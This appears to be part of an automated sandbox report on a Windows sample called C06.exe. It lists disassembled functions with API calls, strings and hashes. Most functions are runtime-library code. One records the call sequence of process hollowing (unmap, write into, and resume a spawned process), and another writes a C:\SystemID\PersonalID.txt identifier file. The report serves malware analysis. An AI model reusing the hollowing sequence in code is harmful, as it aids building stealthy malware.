Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006B0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006B0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

string too long, xrefs: 00414C33
invalid string position, xrefs: 00414C3D

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

string too long, xrefs: 00417EE9
invalid string position, xrefs: 00417EDF

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777
unknown, xrefs: 0045175D

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 7904872b51d802953746902f9a5302fc6c485efb715002b991a685ebf37c2d21
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 7904872b51d802953746902f9a5302fc6c485efb715002b991a685ebf37c2d21
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

.\crypto\evp\digest.c, xrefs: 00480638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F25B, 0044F247

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: C06.exePID: 5104, Parent PID: 7096COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	29.7%
Signature Coverage:	0%
Total number of Nodes:	276
Total number of Limit Nodes:	38

Executed Functions

Function 02320110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02320156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0232016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02320255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02320270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02320283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0232029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 023202C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 023202E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02320304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0232032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02320399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 023203BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 023203E1
ResumeThread.KERNELBASE(00000000), ref: 023203ED
ExitProcess.KERNEL32(00000000), ref: 02320412

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 479c2051f3176798748ccc557dd94b6c19b8d158b613e1e38ded675868db033f
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 3FB1D774A00208AFDB44CF98C895F9EBBB5FF88314F248158E508AB391D771AE45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00404CAE Relevance: 45.7, APIs: 24, Strings: 2, Instructions: 156
memorylibrarywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FoldStringW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00404CD3
ChangeDisplaySettingsA.USER32(00000000,00000000), ref: 00404CDB
OpenJobObjectA.KERNEL32(00000000,00000000,00000000), ref: 00404CE4
EnumSystemCodePagesA.KERNEL32(00000000,00000000), ref: 00404CEC
GetWindowTextLengthA.USER32(00000000), ref: 00404CF3
CreateHardLinkW.KERNEL32(00000000,00000000,00000000), ref: 00404CFC

Part of subcall function 004056E8: __fsopen.LIBCMT ref: 004056F5

Part of subcall function 00404F91: __getptd.LIBCMT ref: 00405A8A

Part of subcall function 004054DB: __wcstoi64_l.LIBCMT ref: 004054C6

Part of subcall function 00404903: _ldexp.LIBCMT ref: 00404910

Part of subcall function 0040581A: __getptd.LIBCMT ref: 00405826
Part of subcall function 0040581A: _abort.LIBCMT ref: 00405848

GlobalAlloc.KERNELBASE(00000000), ref: 00404D58
GetLastError.KERNEL32 ref: 00404D70
GetCurrentProcessId.KERNEL32 ref: 00404D72
GetLargestConsoleWindowSize.KERNEL32(00000000), ref: 00404DB5
GetComputerNameA.KERNEL32(?,?), ref: 00404DC6
GetCompressedFileSizeW.KERNEL32(00000000,?), ref: 00404DE8
GetOEMCP.KERNEL32 ref: 00404DEE
LoadMenuW.USER32(00000000,00000000), ref: 00404E04
CharToOemBuffW.USER32(00000000,00000000,00000000), ref: 00404E0D
GetCharABCWidthsFloatA.GDI32(00000000,00000000,00000000,?), ref: 00404E1A
GetLastError.KERNEL32 ref: 00404E28
IsProcessInJob.KERNEL32(00000000,00000000,00000000), ref: 00404E4F
BeginUpdateResourceW.KERNEL32(00000000,00000000), ref: 00404E57
AddConsoleAliasW.KERNEL32(00000000,00000000,00000000), ref: 00404E60
AddAtomW.KERNEL32(00000000), ref: 00404E67
GetSystemWindowsDirectoryW.KERNEL32(?,00000000), ref: 00404E75
SetFileApisToANSI.KERNEL32 ref: 00404E7B
LoadLibraryW.KERNELBASE(msimg32.dll), ref: 00404E89

Strings

Gm , xrefs: 00404D78
msimg32.dll, xrefs: 00404E84

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: CharConsoleErrorFileLastLoadProcessSizeSystemWindow__getptd$AliasAllocApisAtomBeginBuffChangeCodeCompressedComputerCreateCurrentDirectoryDisplayEnumFloatFoldGlobalHardLargestLengthLibraryLinkMenuNameObjectOpenPagesResourceSettingsStringTextUpdateWidthsWindows__fsopen__wcstoi64_l_abort_ldexp
String ID: Gm $msimg32.dll
API String ID: 2437437345-3174439446
Opcode ID: ba798bbc3f2f2e7ad8120bc6c4128f231159a2b976cae50d26f7e4cbe0b3efd3
Instruction ID: e6b28aa2fbf78a17e00ff1cc703cc2062f444da94bee802af6c6c31f2eac8889
Opcode Fuzzy Hash: ba798bbc3f2f2e7ad8120bc6c4128f231159a2b976cae50d26f7e4cbe0b3efd3
Instruction Fuzzy Hash: DF416171402560ABC7126762ED4CDDF3E6DFF8A3957005036F659B1461CB3846868BFD

Uniqueness

Uniqueness Score: -1.00%

Function 004058DC Relevance: 22.6, APIs: 15, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fast_error_exit.LIBCMT ref: 00405927
__mtinit.LIBCMT ref: 0040592D
_fast_error_exit.LIBCMT ref: 00405938
__RTC_Initialize.LIBCMT ref: 0040593E
__ioinit.LIBCMT ref: 00405946
__amsg_exit.LIBCMT ref: 00405951
GetCommandLineA.KERNEL32 ref: 00405957
___crtGetEnvironmentStringsA.LIBCMT ref: 00405962
__setargv.LIBCMT ref: 0040596C
__amsg_exit.LIBCMT ref: 00405977
__setenvp.LIBCMT ref: 0040597D
__amsg_exit.LIBCMT ref: 00405988
__cinit.LIBCMT ref: 0040598F
__amsg_exit.LIBCMT ref: 0040599A
__wincmdln.LIBCMT ref: 004059A0

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__mtinit__setargv__setenvp__wincmdln
String ID:
API String ID: 3545360858-0
Opcode ID: 09ca4bdcfc6256fd34da90b83de53980beda5478b644f5e99394ee8a9df5232b
